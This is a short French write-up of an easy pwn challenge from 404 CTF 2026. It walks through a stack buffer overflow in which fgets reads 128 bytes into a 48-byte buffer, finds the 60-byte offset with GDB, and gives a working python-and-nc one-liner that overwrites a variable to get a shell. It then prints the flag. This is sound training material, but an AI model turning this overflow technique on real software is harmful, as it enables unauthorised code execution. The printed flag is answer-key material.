404-CTF-2026
PWN - Marie Curie
2026-09-17easy#pwn#buffer-overflow#gdb#c
On nous donne un binaire C avec une vulnérabilité de buffer overflow.
Analyse du code
int var; int ingredient = 0x00000042; char reponse[48]; fgets(reponse, 128, stdin); if (ingredient == 0x84168802) { puts("Vous avez trouvé ! Bravo !"); system("/bin/sh"); }
fgets accepte 128 caractères alors que reponse ne fait que 48 octets — overflow possible.
Analyse GDB
En désassemblant le binaire :
0x00005555555551cb <+98>: mov DWORD PTR [rbp-0x4],0x42 ; ingredient
0x0000555555555233 <+202>: lea rax,[rbp-0x40] ; reponse (rbp-0x40)
reponseest àrbp-0x40soit 64 octets avant rbpingredientest àrbp-0x4soit 4 octets avant rbp- Distance entre
reponseetingredient: 64 - 4 = 60 octets
Exploitation
On envoie 60 octets de padding puis la valeur cible 0x84168802 en little-endian, et on maintient le shell ouvert avec cat :
(python3 -c "import sys; sys.stdout.buffer.write(b'A'*60 + b'\x02\x88\x16\x84' + b'\n')"; cat) | nc spawn.404ctf.fr 10303
Flag
404CTF{P0l0N1UM&R4D1UM}